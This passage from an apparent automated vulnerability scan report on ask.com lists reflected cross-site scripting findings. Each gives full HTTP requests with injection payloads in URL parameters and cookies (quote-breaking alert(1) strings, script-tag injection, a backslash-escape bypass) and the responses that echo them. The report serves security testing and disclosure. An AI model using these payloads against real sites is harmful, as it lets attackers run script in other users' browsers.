The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Request

GET /fifdart?dartsite=5480ask.testsite&dartsitelive=5480.iac.usa.ask.hp.x.x.dir&darturi=ad.doubleclick.net%2fadj%2f&dartsize=300x250&darttile=&darts=as&dartpos=&darthhi=159&darttest=0&dartcata=&dartcatb=&dartcatc=&dartclid=&dartgclient=ca-aj-cat&dartgchannel=&dartgadtype=image%2cflash&dartgadoutput=js&dartgadsafe=high&q=b3880\'%3b487775315e3 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:18 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5447

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>
<head>
<title>Dart ad</title>

<style type="text/css">
html, body {
border: 0px;
...[SNIP]...
<script type="text/javascript">
var google_ad_client = 'ca-aj-cat';
var google_ad_channel = '';
var google_hints = 'b3880\\';487775315e3';
var google_ad_output = 'js';
var google_max_num_ads = '1';
var google_page_url = '';
var google_ad_type = 'image,flash';
var google_image_
...[SNIP]...

1.11. http://www.ask.com/pictureslanding [l parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictureslanding

Issue detail

The value of the l request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e5362'%3balert(1)//6c83d7bc0b1 was submitted in the l parameter. This input was echoed as e5362';alert(1)//6c83d7bc0b1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pictureslanding?o=0&l=dire5362'%3balert(1)//6c83d7bc0b1 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAwLVVUQw%3D%3D&po=0&pp=dir

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:15 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: user="o=0&l=dire5362';alert(1)//6c83d7bc0b1"; Domain=.ask.com; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjE1LVVUQw%3D%3D&po=0&pp=dire5362%27%3Balert%281%29%2F%2F6c83d7bc0b1; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:15 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:15 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 60162

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>

<tit
...[SNIP]...

var _matchUrl = '/afc-match?q=&page=1&ac=24&qid=EED0381CB3DE1A4CD1C9D292F4AE1964&qsrc=121&dm=all&qrt=2&lid=5489&o=0&l=dire5362';alert(1)//6c83d7bc0b1';

_matchUrl+= "&userip=173.193.214.243";

_matchUrl+="&losid=a&locid=ph&lodid=us";

...[SNIP]...

1.12. http://www.ask.com/ [wz_cu cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/

Issue detail

The value of the wz_cu cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c256'-alert(1)-'db57f994a76 was submitted in the wz_cu cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=05c256'-alert(1)-'db57f994a76; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjM4LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Thu, 24 Mar 2011 16:07:30 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjMwLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:30 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:30 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 94938

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
(this);});if ( $j('#theme_content').length === 0 ) {$j(document).hp_impression('http://wzus1.ask.com/i/i.gif?t=a&d=us&s=a&c=h&ti=2&ai=54316&l=dir&o=0&ld=5489&sv=0a5c404d&ip=adc1d6f3&ord=5682108&wz_cu=05c256'-alert(1)-'db57f994a76');}$j(document).hp_impression('http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=h&l=dir&o=0&ld=5489&sv=0a5c404d&p=homepage&ord=5682108&wz_cu=05c256'-alert(1)-'db57f994a76','http://wzus1.ask.com/i/i.gif?t=a
...[SNIP]...

1.13. http://www.ask.com/ [wz_cu cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/

Issue detail

The value of the wz_cu cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 781e9"-alert(1)-"7361eca1de3 was submitted in the wz_cu cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0781e9"-alert(1)-"7361eca1de3; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjM4LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:29 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjI4LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:28 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:28 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 94939

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
fo || {};WZInfo.pickRedirectDefault = "http://wzus1.ask.com/r?t=p&d=us&s=a&c=h&l=dir&o=0&ld=5489&sv=0a5c404e&ip=adc1d6f3&id=34DCE713F223CA78BB1D757F3FBA4260&q=&p=0&qs=121&ac=24&g=29482SYG0AZ4yY&wz_cu=0781e9"-alert(1)-"7361eca1de3";WZInfo.pickDefault = "http://wzus1.ask.com/i/b.html?t=p&d=us&s=a&c=h&l=dir&o=0&ld=5489&sv=0a5c404e&ip=adc1d6f3&id=34DCE713F223CA78BB1D757F3FBA4260&q=&p=0&qs=121&ac=24&g=29482SYG0AZ4yY&wz_cu=0781e9"-a
...[SNIP]...

1.14. http://www.ask.com/ [wz_cu cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/

Issue detail

The value of the wz_cu cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2fb9"><script>alert(1)</script>40177c2bbf4 was submitted in the wz_cu cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0f2fb9"><script>alert(1)</script>40177c2bbf4; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjM4LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:28 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjI3LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:27 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:27 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 95179

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
<img src="http://wzus1.ask.com/i/i.gif?t=a&d=us&s=a&c=h&ti=2&ai=54316&l=dir&o=0&ld=5489&sv=0a5c404c&ip=adc1d6f3&ord=5358244&wz_cu=0f2fb9"><script>alert(1)</script>40177c2bbf4" border='0' width='1' height='1' alt="">
...[SNIP]...

1.15. http://www.ask.com/ [wz_uid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8dc19'-alert(1)-'8ae2608854 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F38dc19'-alert(1)-'8ae2608854; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjM4LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:41 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjQxLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:41 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:41 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 94545

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"><html><head><title>Ask.com - What's Your Question?</title><meta name="description" content="Ask.com is the #1 question answering service that de
...[SNIP]...
<iframe/>');el.attr('src','http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=0845DB8DB66BB2CFE0A8DECE14D761F38dc19'-alert(1)-'8ae2608854;u4=;u3=;u2=0;ord=-333468697?').attr('width','1').attr('height','1').attr('frameborder','0');$j('body').append(el);});JASK.namespace("hp.dialogs");$j(document).ready(function() {$j.each(JASK.hp.dialogs
...[SNIP]...

1.16. http://www.ask.com/answers/7153311/is-nail-polish-bad-for-your-nails [wz_cu cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/answers/7153311/is-nail-polish-bad-for-your-nails

Issue detail

The value of the wz_cu cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 50ad9"-alert(1)-"a0bdbc42f40 was submitted in the wz_cu cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /answers/7153311/is-nail-polish-bad-for-your-nails?qsrc=4034 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=050ad9"-alert(1)-"a0bdbc42f40; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUxLVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: no-cache
Vary: Accept-Encoding
Date: Thu, 24 Mar 2011 16:12:41 GMT
Connection: close
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjEyOjQxLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:12:41 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:12:41 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 118456

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>

<head>

...[SNIP]...
();
st.height = 1;
st.width = 1;
st.id = "SessionTracker";
st.src = "http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=qna&l=dir&o=0&ld=5489&sv=0a5c407e&p=ja-question&rf=0&ord=6734329&wz_cu=050ad9"-alert(1)-"a0bdbc42f40";

</script>
...[SNIP]...

1.17. http://www.ask.com/answers/7153311/is-nail-polish-bad-for-your-nails [wz_cu cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/answers/7153311/is-nail-polish-bad-for-your-nails

Issue detail

The value of the wz_cu cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6aabe"><script>alert(1)</script>5f5b1f54996 was submitted in the wz_cu cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /answers/7153311/is-nail-polish-bad-for-your-nails?qsrc=4034 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=06aabe"><script>alert(1)</script>5f5b1f54996; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUxLVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: no-cache
Vary: Accept-Encoding
Date: Thu, 24 Mar 2011 16:12:39 GMT
Connection: close
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjEyOjM5LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:12:39 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:12:39 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 118575

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>

<head>

...[SNIP]...
<img src="http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=qna&l=dir&o=0&ld=5489&sv=0a5c4075&p=ja-question&rf=0&ord=6588919&wz_cu=06aabe"><script>alert(1)</script>5f5b1f54996" height=1 width=1 id="SessionTracker" />
...[SNIP]...

1.18. http://www.ask.com/answers/7153311/is-nail-polish-bad-for-your-nails [wz_sid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/answers/7153311/is-nail-polish-bad-for-your-nails

Issue detail

The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 448cb'-alert(1)-'938aa2c9db6 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

